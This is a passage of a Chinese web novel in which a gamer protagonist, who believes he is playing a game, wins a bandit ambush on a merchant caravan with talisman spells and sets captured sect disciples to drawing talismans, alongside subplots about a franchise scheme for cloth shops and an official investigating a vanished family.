一时间,倒是让李思收集到了一笔不菲的资金,尤其其中有数十来家大户不愿意改牌匾,缴的钱更多。 这些暂且不表,李思主要不是为了收加盟费,而是为了卖染料,卖加工设备,卖装修服务,以及培训服务。 当然,同时也间接地掌握了布料市场。 ——且本县的棉布厂也有了固定供货地点,无论从哪个方面来看,这步棋绝对是下对了。 这番操作下来,相当于多了多少个工作岗位,最重要的利润可比单纯的售卖布料高多了。 当然了,这法子他已经和赵金构通过气了,自然是得到了那位的同意,他才敢放心大胆的去做。 据说本县县令大人也十分满意。 既然都满意,李思本就不是磨磨唧唧的人,这会自然大胆去做,直到彻底将此事推广开来。 而远在风仙县的方知意和赵金构二人,倒是不免想起李思此人的做法。 赵金构连连称奇,而方知意则是思索的更为深远。 此人在这方面甚是妖孽,若按照他所说的经营法,想必不过多久,黎州的棉布市场,甚至染色市场就会被拿下,同时的确如同他所说,会给本县带来更多的工作岗位。 除却之前所说的岗位外,还可以额外带来染料制作,以及染色工具制作和维修的新工作。 ——拿到手的加盟费是小头,而带来的循环才是真正的大头。 很快,李思就传来了新的消息,他表示需要一批会制作牌匾的工匠,以及一批装修工队前去黎州施工,而且专门提出了要寡言沉默的工匠最好,毕竟现在不方便暴露他们的真正背景。 当然了,这并非李思直接找到她,而是先通过赵金构传递的消息。 风仙县立即在报纸上打出了招收了装修工人的消息。 等到第二日,拿到报纸后,但凡是有个把力气的人纷纷报名,毕竟这工作给的钱可不少啊。 很快,负责此事的人便招到了足够的工人,毕竟流民增加速度逐渐增多,急切需要新的工作让他们养活自己。 因这活计比较着急,等到人一招满,坐上马车后,便飞速赶往黎州。 被选中的人说不紧张是假的,毕竟第一次离开熟悉的家乡那么远,当然也有些淡淡期待,毕竟可以看看那黎州长啥样。 听说黎州那地方可是出了名的繁华,不知道和他们风仙县相比如何? 倒是有人顿时开口笑道:“虽说咱们风仙县很好,但是那黎州毕竟可是天子脚下的地方,依我看,定是不赖。” 自然有人开口警告。 “得了,什么天子不天子的,我等尊奉的是仙师,在本县律法公布后,咱们风仙县可不认那什么天子,只认仙师。” 这话倒是真话,毕竟天子让他们饿肚子,妻离子散,经受战乱,而仙师却给他们梦想中所渴求的生活。 孰优孰劣,自然一对比便知。 这会众人不免想到临来前的警告。 ——不允许暴露来自风仙县。 这警告由县令大人直接下达,没人敢追问,只知道执行就够了。 谁都不想触犯这条底线,毕竟他们是看中了高薪才外出打工的,但是赚钱了,谁都要继续回风仙县,若是犯了底线,一来是日后无法回归风仙县,二来是很有可能会惹怒仙人,从而降下惩罚。 马车一走便是好几天,等好不容易到地方后,众人忙收拾一番,打算等着第二日前去上工。 只是来了黎州后,看着眼前和原先风仙县没什么区别的道路,街道,众人难免微微失望。 ——这就是号称最为繁华的黎州境内? 这,看着也不怎么样啊 一时半会,他们倒是抽空聚在一起吐槽黎州。 “唉,我还以为这地方是什么金山银山,结果来了一看,和原来的咱们县一样啊?” “可不是咋地,这破地方可真冷,咱们那暖和多了。” “原先还觉得这黎州既然能被称为繁华之地,自然是有特殊之处,现在一看也没什么大不了的啊” 倒也有人中立开口。 “估计是黎州元城才会繁华?毕竟元城可是圣上所在的地方。” 这番猜测倒是微微有些道理,一时间,众人难免心中多了一点小小的期待。 不知道那里情况如何? 吐槽完了,这会该干活还是干活,毕竟在这里干活工资高,出来一趟,相当于在家里干好几个月了。 黎州。 自从加盟这模式被推广开来后,黎州很快就多了不少名字一致,甚至内部装修也一致的店铺来。 当然了,为了保持统一,无论是牌匾,亦或是装修匠人,全部是由李思的人。 等到装修期间,众人难免存了试探的心思,各个想从这些匠人身上看到点不一样的东西。 细细观察后,众人不免心中惊涛骇浪。 ——这不对劲。 若是以往的话,那些别的地方来的装修工队在装修期间会对他们这里好奇得打紧,毕竟他们可以号称最为繁华的黎州。 但这些人却没有。 只是在最初的时候稍微流露出几分好奇,但等过了没两天,各个只顾着蹙眉干活,看得出来似乎对此地很不满意? 嗯?不满意? 众人难免面面相觑,如果在他们此地都不满意,那这些人还真可能是来自那位不可描述的大人物手下啊。 毕竟一个人的潜意识是装不出来的。 对他们这里都不满意,那必定是见过更好的。 自从认识到这个新发现后,众人对待李思的态度越发恭敬,生怕哪天就惹火了他身后的那位。 说实话,李思还挺意外的。 他都做好了收拾烂摊子的准备了,结果倒是给了他个意外之喜。 而与此同时,风仙县内正在进行培训染色改进的训练人员。 这些人日后是需要去黎州工作的,因路途遥远,且工作相对有些危险,所以工资自然要高一些。 本以为或许会劝退一部分人,但实际上,人依旧不少,而且更恐怖的是,为了提升效率,他们特意只要了会染色的匠人,但前来报名的人也是乌泱泱一片。 等到从中挑选出合适的人选,培训立即开始,等到黎州李思传递过来情报后,这些培训人员坐着马车前往目的地,即将开始工作。 目前的话,装修队还需要继续从黎州外围县域推进装修,而后才是黎州元城。 也是因为最后才进入元城,倒是最大限度地让那些元城内的大人物们不曾知晓此事。 等到终于推进至元城后,一时间,不少布料店铺改了门匾,又换了装修,阵势颇为壮观,惹得不少人驻足观看,而后各个惊讶。 ——一下开这么多家铺子,且中间还要不少老铺子,想必当下来的话价格不菲啊! 这异常很快便被人注意到了,一番查探,倒是大吃一惊。 本以为仅仅是元城,结果竟然覆盖了黎州境内! 这手笔是不是太大了?! 这会自觉此事自己无法处理,忙将这异常情况回报给了自己的顶头上司们。 等到黎州元城的大人物知晓此事时,难免心情复杂。 对方一时间能买通这么多铺子,又故意这么张扬,想必这背后定是一位高权重之人。 但此人到底是谁? 悄然打听一番,众人的线索聚集在了一个叫李思的人身上。 三番五次去查探对方,但对方滑得和泥鳅一样,努力打探一番,却什么都没能得到,只知道此人背后的靠山是一个颇为厉害的大人物。 一时间,众人均捏不准了。 这到底是谁? 虽说布料行业不算特别赚钱,但毕竟这么大的手笔,谁能知道对方是不是还有别的目的? 一时间,黎州大人物们纷纷猜测,随即互相宴请对方。 正所谓棋逢对手,互相试探,却该死的没能试探出来任何有用东西。 谁都觉得对方在惺惺作态,隐藏着什么,这会被刺激的看见谁都觉得像是这布料铺子的幕后推手。 多番交手,最终不曾查探到真相。 而李思同样也在时刻关注此事。 他等这一天很久了。 从一开始扯虎皮做大旗,到现在逐渐将大部分布料商拉下水,再到提出加盟,他算准了今日的局面。 ——多好,假的也变成了真的,只要事实摆在他们面前,谣言也会凝聚成为存在的东西。 这布料行一事闹得沸沸扬扬,元城内的高层已经从起初的单纯打探到后续的不断心惊。 这幕后之人心思极为慎重,而这么可怕的对手,就隐藏在他们身旁,而他们却无所察觉。 一时间各个心情微微复杂,同时感慨老伙计实在是太能隐藏实力了。 工部廖尚书也注意到了此事,但是无心打听,毕竟他最近忙于帮女儿寻祝家二人到底所在何处,哪有那闲工夫去考虑这些无趣之事? 第183章 打劫 廖尚书最近一直在打听祝家父子二人到底消失前去过何处。 但是谁能想到,查起来竟然如此费劲。 原先他只是觉得或许二人是遭遇了什么意外,但随着调查越深入,廖尚书越是觉得心中不安分。 ——这么小心的掩盖痕迹,说明先前二人去做的事定不是什么能拿到台面上说的事,而且极有可能在此事过程中反被反杀。 要说做这种糊涂事,廖尚书只能想到通敌或者反叛这两种猜测。 通敌的话原先他没察觉到对方有这方面的想法,那便是想反叛了。 谁都知道现在小皇帝的位置坐得不够安稳,而原先祝时此人凭借着天赋倒是被老皇帝死死按下,给小皇帝当谋士,但结合这些年来祝时并未全心全意对小皇帝,可否说明此人早就有了反叛的心思? 那便是另有效忠之人? 廖尚书犹豫片刻,心中一阵纠结。 按道理他应当立即将女儿捞出去,但此时祝家领头人已消失,他女儿岂不是可坐拥祝府了? 要知道祝家可是有不少赚钱生意,地皮捏在手里,若是白白浪费,他倒是觉得不美。 一番犹豫,廖尚书决定继续让人查下去。 ——先看看情况,若是他能应付过来就将祝家收入囊中,若是实在烧及自身,那便立刻和祝家断开所有关系。 想清楚这些后,经过廖尚书不断排查,竟然还真让他摸索到了一些蛛丝马迹。 各项线索都指向明州崇县境内。 具体位置不明,但根据可靠人士提供情报,先前他们去的确实是明州。 且更为有趣的是,与此同时,那景旭宫内的一位大长老也跟着死亡了。 廖尚书不免心头震撼。 要知道景旭宫内的大长老那绝非普通人,三人消失的时间几乎一致,那便说明三人很有可能是去处理同一件事了。 但竟然连那大长老都命陨,可见他们去处理的此事确实十分棘手啊。 廖尚书派出手下最强的私兵,让他们前去打听,最后排查一番,终于查到了一番新消息。 “什么?你是说明州崇县出现了仙人?” 刚听到情报时,廖尚书几乎立马从椅子里站起,而后瞪大眼睛。 开什么玩笑,仙人?哪有那些玩意! 但很快,他就想通了或许是类似景旭宫的强大道士呢? 等到再细细查看,还真让他查到了有关仙人的事。 这一查不得了,竟然抽丝剥茧,查出了巨量的有关仙人的传闻。 无论是谣言,亦或是话本子,或者是唱大戏的,总归来源五花八门,但最后结尾都指向风仙县。 且更为重要的是,其内都宣扬仙人是救世主,且旗下封地内百姓生活十分美满。 廖尚书看到这里不免嗤笑一声。 装神弄鬼的把戏,说到底还是新起来的反叛军而已,只是这反叛军有点意思,竟然敢自称仙人,又创下“仙盟”去招兵买马,简直太狂妄! 思索一番,廖尚书自认为祝家二人应当就是和这自称仙人的反叛军前去交涉,结果不知道出了何种意外,最后消失。 廖尚书决定派人先去那所谓的风仙县查探一番消息,毕竟只有确定消息,他才能决定要不要从祝家这堆烂摊子中脱身,从而靠着卖掉祝家再获取一份好处。 很快,数位精兵便迅速前往风仙县,打算查看此县内那所谓仙人为何物,仙盟又为何物。 而黎州此刻,倒是一片风平浪静。 先前虽说李思此人搅动了布料行业的池水,但毕竟并非是人人都关注此事,热闹一番后倒也逐渐冷下来。 如今黎州元城最火热的话题自然还是那新奇的沼气灯,马桶,以及美酒这些外来商品。 杜百再一次踏上前往黎州的道路,路上她倒是暗自思索这黎州元城的事。 ——好事,这么快就有需求,那便是说明谈天禄此人是从里面真的拿到好处了,不然此人绝不会这么殷勤地推荐此物。 人只有有足够利益,才会为了此事劳心费神。 而这稀奇之物便是如此。 且这几件东西确实是一旦开始使用便再也回不去了。 不说别人,就说杜百自己,在用过了沼气灯,马桶,喝过那美酒后,再让她重新回到原来的那生活内,她都觉得受不了,更何况黎州那些从小用着好东西的人? 事实上,也确实如此。 沼气灯紧俏,但一旦市面上有货,便会被这群人哄买一番,哪怕价格涨价数倍。 而马桶更是如此,原先可能是府内只有一个人使用,但若是传开了,哪个娘子,郎君,主母什么的不得来一个? 小辈如此,长辈更是需要,一时间,安装马桶竟然成为了黎州元城的新潮流。 一见面别的不说,必须得打量着对方是否装马桶了没。 装了——凑合,还算有两下。 没装——野蛮人,兜里没几个子。 这就造成不少人别的房间不说,但会给客房装一个,好在明面上能看得过去,不让自家遭人耻笑。 好在马桶数量比较多,不像是沼气灯一样珍惜,目前马桶的话,一直在保持售卖,根本没停下来过。 此次杜百除了运输这些紧俏物品外,还额外运送沼气,前来给这些人充气。 当然,为了方便运输,方知意特意让沼气池开设在靠近黎州的陶瓷厂内,一来是方便陶瓷厂内人的生活,二来是多出来的沼气可以售卖到黎州,节省数倍的人力物力。 且因为那处有仙师下了驱逐咒,若非被允许进入,外来人基本上没可能能进去,安全方面倒是安全得很。 期间,谈天禄倒是多次联络杜百,话里话外意思就是希望她多来几次,毕竟每一次来,他都能大赚一笔。 话说杜百猜测谈天禄从中应当是拿到了不少好处,毕竟从最近他对自己越来越亲近的态度中便可以窥探出一些。 要说谈天禄此人,杜百倒真觉得他至少对推进此物品在黎州流行起来,绝对是做了贡献的。 虽说只是为了赚钱,但是日后等到她们追随仙师将这黎州也攻下时,他赚了多少,日后就需要吐出来多少,且更妙的是,因为他的率先推广,还会提前让黎州元城内的人享受一番仙师旗下百姓的待遇,日后收复起来,想必阻碍也会小不少。 等到顺利进入黎州元城,和谈天禄交涉完毕,将货物悉数卸下后,杜百和往常一样陪着对方喝酒吹牛,将此人好生追捧一番后,这才带着队伍离开。 按道理来说,这长距离跑商是很危险的,毕竟中途路途遥远,无论是天灾还是人祸,来了就躲不掉,且杜家商行原先便是被一伙流匪劫持才会陷入落魄境地,所以轮到杜百带领商队走商时,她都会打起精神,多方选择安稳路线,好避免出现原先的惨剧。 确实有效果,毕竟她跑了好几次,都没遇到任何流匪。 商队的人倒是松懈几分,众人正是打算落地停歇吃口热饭,铁锅刚架起来,做饭的人正嬉皮笑脸地凑上来问着。 “杜掌柜,晌午吃点粉条炖鸡如何?” 此人做饭甚是麻利,手艺又好,家中极缺钱,这才被杜百带着出来跑商。 刚想应下,杜百微蹙眉头,瞬间趴在地上,感受到从远处而来的震撼感,顿时脸色一变。 “立刻走!情况不对劲!” 其余人一看杜百这幅模样,顿时各个紧张起来,二话不说,立即跟着她驾马狂奔。 而负责领头的杜百则是胸口不自觉砰砰直跳。 ——马蹄声距离她们不远,且速度很快,听声音对方应当不负重,按照他们的前进速度,很难逃脱出去。 马匹在跑,杜百则先命令官兵们做好应敌准备,而后将求救情报写好,放飞信鸽,此信鸽直奔在风仙县还不曾回归的慎刑司一行人。 只能说看运气拖延一会了,毕竟慎刑司的人赶过来也需要时间。 杜百没选择原先经常往返的路线,反而选择了一条走得最少的路线,以求避开敌人。 这方法有效,但也拖延不了太久时间,毕竟对方灵活,他们载着马车,自然要笨重几分。 等到看到那敌人骑马奔来时,杜百已经扶着腰间弯刀,眉宇间罕见地露出一抹煞气。 “——准备应战,跑不了了。” 多次跟随着杜百跑商,众人都知晓杜百此人到底有多靠谱,这会自然杜百说什么,他们便去做什么。 眼看那骑马百来号流寇将她们团团围住,杜百难免手心出汗。 ——该死的,这么多敌人,就算有官兵出手帮忙,今日也必定是一场恶战。 且看情况,对面并不是什么软蛋,各个身强体壮,一看素日没少做这抢劫一事。 思绪在心中翻滚片刻,杜百立即决定先拖延时间,看是否能拖到慎刑司的人前来救援。 这会掀开马车帘布,一脸镇定对着流寇开口:“诸位且慢,实不相瞒,在下不过一小商户,深知江湖险恶,若真有值钱的东西,自会多带些人手,如今各位也看到了,我手下人手少得很,哪里像是那等大商户的气派? 好不容易将那滞销的货物销售一空,眼下不过得了一点银两,若是诸位想要,便将这银两孝敬给诸位便是。” 说话间,手下倒是拿出五十两银子,站在她身后。 说实话,杜百跑商赚的钱自然远远比这多,但她深知这群人均是亡命之徒,绝对不是靠着贿赂能通过的人,眼下这般,不过是为了拖延时间而已。 这会对面敌人自动分开,一人高马大,长得甚是粗狂之人骑马靠近,开口便是污言秽语。 “放你的狗屁!” 第184章 符咒 此人开口便是脏话,杜百倒也不惊讶,继续带笑恭维:“好汉何出此言?” 就见此人冷哼一声:“杜百是吧?我等观察你许久了,早就知晓你素日货物有多赚钱,这会你拿出这五十两,岂不是在耍我们兄弟玩?” 杜百垂眼,眼内极快地闪过一抹微微诧异。 原以为是临时起意,现在看来是蓄意抢劫啊。 杜百倒是心理素质不错,这会还能继续周旋。 “好汉是从哪儿听到的消息?那杜百我也曾听过,确实最近较为出名,但这和我这等小商户哪有关系呢?” 此人微微犹豫片刻,杜百立即推断此人绝非话中所说观察她们数日,不然为何认不出她? 这消息应当是从别人口中听到的,倒也是她们倒霉,运气这般差,竟然能遇到这匪寇。 心里吐槽,嘴上依旧不停。 “在下倒是真知晓那杜百商队去了哪条路,不过那商队装备精良,若好汉不着急去追,恐怕要赶不上。” 这话果然吸引了这人的注意力,等看着杜百给他指了指黎州方向的路时,一时半会有些犹豫。 毕竟他们流寇进入黎州方向过于危险,就算目前黎州较为不堪,但里面的正规军依旧吊打他们没问题。 一时半会,倒是在原地沉思片刻。 随行起码的人凑过来出主意。 “不若让他们带路,若是真如同他所说,那杜家商队定是距离咱们不远,若是咱们没发现那所谓的杜家商队,就将他们的人全都杀死。” 这个提议倒是有几分道理,毕竟只耽误不到半个时辰。 省得真让那杜家商队跑了。 等听到意料之中的回答后,杜百不免装得很像样带着一行人往靠近慎刑司的方向走。 与此同时,慎刑司倒是收到了那求救信。 寻宁立即带人前去支援,试图能救下杜百。 毕竟她对杜百很有印象,一个相当勇猛的小郎君,且还是方大人拜托她照顾的人,说此人关系着风仙县日后的经济和仙师日后的推进计划,她自然要多上几番心思。 随着时间一分一秒的过去,杜百说不紧张是假的,她手下 的人,这会也是紧张得手心冒汗,毕竟他们谁都知道这就是个彻头彻尾的谎言,无非杜掌柜是在拖延时间罢了,但他们的援军何时会来? 一时间,众人心中不免惊惧,往前赶路时各个脸色难看。 不过这神色在这情况下倒也没引起这群匪寇的注意,毕竟哪个看到他们全副武装能不害怕? 杜百开动脑袋,思索除了慎刑司还有谁能救自己。 思来想去,那便只有一个人,谈天禄。 虽说没有情感,但至少目前看在她还能持续不断地带来利润时,谈天禄绝不会让她死得这么早的。 若想借用谈天禄的人脉,那最少也得坚持到元城巡逻士兵的位置,不然她是一丝一毫的机会都没有。 若按照计划,等走到接近位置时,她可快马直奔让人去传递消息,再靠自己一行人坚持拖一会时间,很有可能能得救。 不过这也不是百分百的,对方也不是没有作壁上观的可能,但好歹救她是一个大概率事件。 已经暗自做好下一步准备,结果意料之外的事出现了。 一信鸽直奔那流寇而去,那带头的从信鸽腿上拿出情报,等看清楚情报所画杜百示意图,顿时恼怒万分。 ——该死的!这小矮子竟然敢骗他! 一时间怒吼一声,那柄长枪便直奔杜百而来。 带着破空的力度。 该死——计划出现了变故,现在只能拼命了! 杜百几乎是迅速调整身体,心里暗骂一声,避开此人的长枪,而后拿出自己挎着的刀,对着对方直奔而去。 几乎瞬间,众人便打成一团。 杜百倒是手法熟练,但始终力气不如对方,这会一时半会眼看要落入劣势,而那领头人则是笑得粗俗。 “毛头小子没两把刷子还敢骗你爷爷,现在给爷爷我好好受着,看我是怎么劈开你这幅身子!” 杜百避开他的武器,这会终于不再假装,冷哼一声。 “你不会的,那情报上写的绝对不是杀了我们,是想让你们逼迫我们说出进货渠道是吧?” 骤然被戳中心事,此人明显愣了一下,又恼怒地用更大力气挥舞长枪,带着怒气。 “闭嘴!” 杜百微笑——她猜对了。 趁着对方因愤怒而出错,杜百盯准机会,对准他的漏洞便是一刀,几乎瞬间那处便见了血,对方反应倒是不慢,躲开了大部分,但也依旧被长刀划破皮肉,流下一手血迹。 “狗娘养的玩意!去死——” 此人受伤后立即恼怒,长枪挥舞,对着杜百又是几枪,杜百忙去躲避,倒也被长枪险险刮过身体,刮出了血迹。 等到迅速避开后,杜百喘着气,心中不免微微焦虑。 ——她力气不如对方,虽说灵活性高,但体力总会比对方更先消耗完毕,这么一直耗下去,对他们绝对没好处。 分心扫了一眼别处,也是陷入了一番苦战。 杜百心中难免焦虑,心急如焚地等着慎刑司的支援,同时苦苦支撑。 而此刻,姜定的电脑屏幕上倒是瞬间弹跳出来一则提醒。 点开一看,竟然是商队被劫持求救的消息。 姜定难免自言自语—— “跑商的时候被打劫了,很大众化的设计,话说反击的话,这战斗系统在哪儿来着?” 正是摸索一番时,他总算找到了加入战斗的提醒。 【你是否确认加入战斗?】 姜定压根没犹豫,立即选择【同意】。 ——什么鬼,他肯定同意,这绝对是游戏的引导剧情,他是疯了才会拒绝。 等点击同意后,姜定倒是按照游戏提示,将原先从乱七八糟地方收集到的符咒挨个排序,然后用对应的符咒朝着敌人甩过去。 眼看屏幕弹出【战斗成功】的提醒,姜定不免琢磨开来。 刚才那些符咒便是他每次看CG时,点击下来的符咒,只有和道士类角色偶遇才有机会拿到。 倒是没想到,这玩意竟在今日派上用场。 一番沉默,姜定倒也不得不说这游戏的设计还挺闭环的。 不等他继续沉默下去,游戏弹出了新的提醒。 【是否开启跑商自动战斗模式?】 自动战斗好啊,下次就不用他操心这冗长的战斗环节了,毕竟要知道跑商中间的战斗可是无聊到爆炸的,。 托管!必须托管! 姜定二话不说,立即开启,然后眯眼看所需要的符咒。 等看清楚自己的符咒库存甚至可以说是少后,这会忙点击所需要的符咒查看如何获得。 等他将鼠标箭头挪到一个显示着【混淆咒】的符咒时,上面很快便浮现出制作按钮。 点开制作,有两条制作来源。 姜定定睛一看,弹出来两个小框选择。 【永道宫弟子制作符咒,可用人数33人,日薪500文。】 【被俘虏的景旭宫弟子,可用人数214人,日薪0文,但是有逃跑风险。】 等看清楚这两个小框内所写文字后,姜定二话不说选择了第二个。 ——开什么玩笑,这么多人,还免费,跑几个怎么了?这不是很正常? 等到确定执行下去后,姜定这才松口气。 至少不用担心符咒来源不够用了。 而因姜定的插手,原先陷入苦战的杜百一行人此刻正目瞪口呆中。 先前杜百隐约感觉今天可能是要凉,微微分心,那流寇的的长枪直奔她喉咙而来。 往后迅速翻滚,那长枪划过她的脖颈,刮出一串血痕。 身体上的疲惫逐渐翻涌,杜百不免有些疲于应对,正靠身体本能灵活躲避过一次次袭击时,她能清楚的感觉到体力不够用了。 眼看那长枪直奔咽喉,杜百只能偏身避开,但是肩膀却躲不开。 本以为会皮开肉绽,但想象中的疼痛并未来临,反而是那长枪像是被什么东西阻挡一样,僵持在眼前。 瞬间,拿着长枪的流寇呆愣片刻,他用力想往前送,但前方似有一层看不到的薄膜保护着对方,让他无法侵入,这会不免瞪大眼睛,不等开口说话,杜百立即趁此机会拿出刀,死命捅进他的心口。 血液喷涌而出,此人歪歪扭扭倒地,好在这诡异的薄膜还存在,血迹不曾喷洒到她身上。 杜百忙去看四周,——和她遇到的情况差不多,有这种类似薄膜的存在,也有火焰凭空而出,亦或是冰锥直接射穿敌人身体,总之敌人死得五花八门,什么死法都有。 犹豫片刻,杜百立即明白过来,这绝对是仙师出手了。 一时间,不免心头震撼。 ——果然就没有仙师不知道的事。 还不等慎刑司来,仙师倒是率先解决了这些流寇,这便是仙人的实力吗? 原先杜百只是听那画本子上写的仙师故事,起初还觉得有些夸张了,但亲眼经过一次,杜百顿觉那画本子估计画的是真的。 毕竟仙师人都没来还有这般威力,更别提仙人亲降风仙县。 话说,当日大战,那得是多惊人的一幕? 想到画本子内的描述,杜百不免心口滚烫,这会顺道点了点人,处理了一番后续程序。 竟然没死人—— 杜百微楞片刻,立刻便对仙师充满敬佩。 得多厉害才能做到这么精准支援? 姜定:???不造啊,游戏自己检测血量值提醒的啊! 本以为这次要全军覆没,但谁能想到,只是有伤员而已。 再看看遍地尸体,杜百不免立刻带着队伍绕开,同时给慎刑司发送最新情报。 第185章 秘密 寻宁收到消息的时候还有些微楞。 ——仙师出手了? 她倒是没停,决定带着人马返回风仙县,路上若是遇到了杜百的商队还能照顾一二。 风仙县内。 方知意则是刚收到了仙师的指令。 等听清楚仙师所说让景旭宫弟子画符后,她不免微微一愣。 这样有些危险,毕竟若是这些符咒在他们手中恢复作用,岂不是这些人会翻盘的机会? 但既然仙师这般说,那定是做了准备。 她几乎没有犹豫,立即将还在做苦力的那群人喊回来,而后准备进行所谓的画符工作。 至于所需要的东西,方知意倒是先询问一番仇离。 听闻仙师要让景旭宫外门弟子负责画符咒时,他不免微楞。 ——画符咒?仔细看了看那所需符咒,大都是比较低级的符咒。 一时半会也捉摸不透仙师的想法,只能将所需物品尽数告知方大人。 仇离倒是没想过景旭宫外门弟子会有能成功逃走的可能,毕竟在他看来,仙师实力绝对非同小可,岂是小小的景旭宫所能抗衡的? 而还在田间,以及工地忙活的景旭宫弟子,在初次听到要求他们绘制符咒后,各个不免瞪大眼睛。 等等,是不是太瞧不起他们了? 若是原先他们不曾有符咒被人控制便控制,但如今若是给了他们机会,他们再不反抗,岂不是错过这唯一的机会? 一时半会,倒是心里激动,恨不得赶紧开始绘制符咒。 而其中自然有不少人开始情不自禁往更深处琢磨。 ——等等,他们会这么轻易的让自己一行人找到机会顺利离开? 想来或许是一种试探。 联想到先前风仙县内的种种诡异之处,一时间众人难免心中不安。 但又架不住觉得这确实是个好机会,这会各个心情复杂。 最终决定,不管怎么样,先看看情况再说,若是有机会不跑,那才是傻子! 等到他们拿到熟悉的符纸,又被分配在小屋内,这会难免生了别的心思。 有谨慎的人自然是不敢动作,打算多看几天再说。 就算是最冲动的人也不曾立马动手,而是决定先观察个一两日,毕竟原先真是在这里受了不少苦,过往的遭遇告诉他,若是想逃走,必须要小心,而非蛮干。 第一日,安安稳稳。 第二日,依旧如此。 仇朗,仇离,以及李归一则是不免谈论此事。 他们三人特意从山上下来,为的就是在此处帮忙看守,省得这群人闹出什么事来。 “这群人并不是傻子,估计在等一个机会。” “确实,我等要再小心一些,他们总会忍不住的。” “依我看,性子急的估计明日就会行动。” 三人低声谈论,倒是早就做好了应急手段。 而等到第三日,那性子急的景旭宫弟子果然压制不住那想逃跑的冲动,前两日他给自己偷偷攒了一些符咒,画了爆破咒,这会正打算炸开房间。 两日的观察让他察觉到或许一开始才是逃跑的时机,越是往后,说不定反而跑得会更困难。 想明白这点后,他倒是很快就部署了大致的逃跑机会,感觉大概可行后,倒是略微期待起来。 要知道虽说这些日子在风仙县呆得不能说特别差吧,但对于原先的生活来说,自然是落了好几个档次。 一旦有逃跑的几乎,自然是要抓住。 等到外面天色逐渐擦黑,此人顿觉机会来了。 二话不说,立即引燃那爆破咒,甚至为了躲避飞溅而来的石块,此人甚至还往身旁侧了侧身,不想自己被爆炸波及。 但很可惜,那张爆破咒像是不曾使用一般,此刻飘飘扬扬的在空中落下,贴在地面时,那符咒上画的痕迹似乎正在瞪眼嘲笑他。 “该死——不可能啊,之前我试过了别的咒语,为何这爆破咒无法使用?” 此人蒙了,将爆破咒藏起来,转而去写下“混淆咒”使用。 等察觉到混淆咒在手中消失后,这会终于蚌埠住了。 ——等等,所以这地方只允许他们制作对应的符咒?不是对应的符咒也有爆破咒,为何刚才他无法使用? 思来想去,此人顿时后背发凉。 难道是此处可以察觉到他的思想? 一旦产生恶意的思想,符咒便会失效。 察觉到这种可能后,一时间,此人难免满身大汗。 等多写了几张试验一番后,这会他的面容已然比白纸还要惨白。 该死,竟然真是这样! 这风仙县到底是个什么鬼地方?就算是景旭宫内也不会有这么变态的法术能存在啊!这已经不是人类的范畴了! 绝对是一种比他们高级太多的存在。 联想到最近他上工时偶尔会听到的百姓们口中所说的“仙师”,此人不免心神凝重。 ——真有仙人? 他不敢相信,但眼前的事实似乎在嘲笑他的天真。 有这样手段的,除了仙人,还有谁? 一时间,心头恍惚恐慌,只能收了想逃跑的心,继续写着符咒。 不仅仅是他一人,其中也有不少人尝试着离开,但和此人结局一致,这会正在沉思思索人生。 等到晚上被放回去后,景旭宫外门弟子便发现原先最嚣张的那波人今日和霜打了的茄子一样,蔫了。 但是若是询问为何,这群人倒是闭口不言,只是看状态是像是收到了某种打击。 除了景旭宫外门弟子发现了此事,仇离等三人也在今日结束后察觉到了这些人的失魂落魄。 一时间倒是微微疑惑。 等到三人去这群人所在的刻画符咒的屋内查看后,仇朗,仇离二人不曾察觉到异常,李归一则是眉头一蹙。 “竟然有此等限制” 其余二人忙询问为何,便看师叔一脸震撼。 “具体的说不出来,但我能感觉到,这是一种极为高等的术法,一种精神禁锢类的术法而眼下被用在此处,想来是仙师的手笔。” 毕竟没人能做到在这么大的范围采用如此高级的术法。 还能持续这么久。 二人站定原地,细细感受着那空中的波动,而后缓缓叹息。 “不行,还是感觉不到,我和师叔的差距还是太多了。” 仇朗叹息,没办法,要知道李师叔要比那几个长老还要厉害,他想到达师叔的境界,还需要多多历练才是。 而仇离倒是略微感受到了一丝异样,但那感觉过于迅速,就算是天赋如此之好的仇离,在师叔的提醒下,不过也才堪堪感知到一瞬,更别提那些远不如自己的景旭宫外门弟子了。 等到他运转《青梧引》时,这才堪堪感觉到那股术法波动似乎稍微频繁一些,等闭眼细心感受,便能感受到术法如同一张细密的网,将这块地方紧紧包裹起来,丝丝缕缕,繁杂的术法似乎和错乱的线条一般,惹得他头晕目眩。 仇离在看清楚术法的瞬间后,整个人迅速退出,此刻难免心中震撼——竟是如此复杂的术法,且涵盖范围如此之广,怪不得仙师敢让对方在眼皮子底下制作符咒,原来早就有所防范。 “看来我等可以回山上继续修炼了。” 李归一缓缓下了结论,仇离不免点头应是。 他这会因为震撼,想说的话全都咽进肚子里,但模样透露出同意。 他们和这级别的术法比起来差太多了,还不如回去仔细修炼。 说到修炼,三人话题难免引入到先前来到山上的二十人弟子。 这二十人是最先考试通过,被送来试验着学习《青梧引》。 第一天学习效果惊人,二十人竟然无一人运转失败,看来这功法的适合性很强,且由于二十人各个算得上是永道宫的精英,所以学习速度相当快。 话说这二十人在仇影和仇哀的保护下来到了山上。 起初众人只是好奇这潜灵山,毕竟坐在马车里,时刻就能看到山上劳作的农人,以及矿工,亦或是别的穿着普通衣物的百姓们,这和他们想象中的清秀之地完全不同。 倒是有人问了。 “长老,这便是我们总部?为何还有普通人在宗门内?咱们不是追求出世么?总部宗旨又变了?” 这话很是灵魂质问,仇哀心想幸亏仇师祖不在此处,不然他肯定应付不了。 这会便用早就编造好的借口慢悠悠道:“确实是变了,毕竟若是一味出世,反而缺少入世的历练,所以日后我等便会将永道宫的宗旨慢慢扭转过来。” ——额,所以话说这么多,是不是看到隔壁景旭宫入世后更为繁盛了,再反观自家,越来越走向败落,所以才暗戳戳地决定更改宗旨? 想是这么想的,但弟子们可不敢开口吐槽,只能点头应是。 仇哀看着他们明显怀疑的目光,心里也乱糟糟。 爱信不信,反正这重要么?不重要,只需要让他们学会那《青梧引》便是。 等到到了永道宫总部,众人忙下车,倒是遇到前来接应的仇离,仇朗,李归一三人。 仇离作为代表,率先指着一座刻画着仙师模样的雕塑开口。 “这便是我等的老祖宗,每个前来学习新法的弟子,必须在老祖宗面前跪下发誓,不然这新法可是没办法学习的。” 众人自然应是,但等仔细看这雕像时,不免被雕刻出的老祖宗模样惊呆。 ——完全是美男子啊!根本无法抗拒的那种! 这会看得眼睛都直了,中途还有人谨慎开口,试图打听:“师兄,老祖宗他老人家现在在哪?” 其实是想问问这等美男子还活着不。 仇离脸色不变,看了说这话的人一眼,而后慢慢道:“老祖宗有自己要忙的事,你们先开始吧。” 众人顿时不敢造次,各个跪下念着誓言。 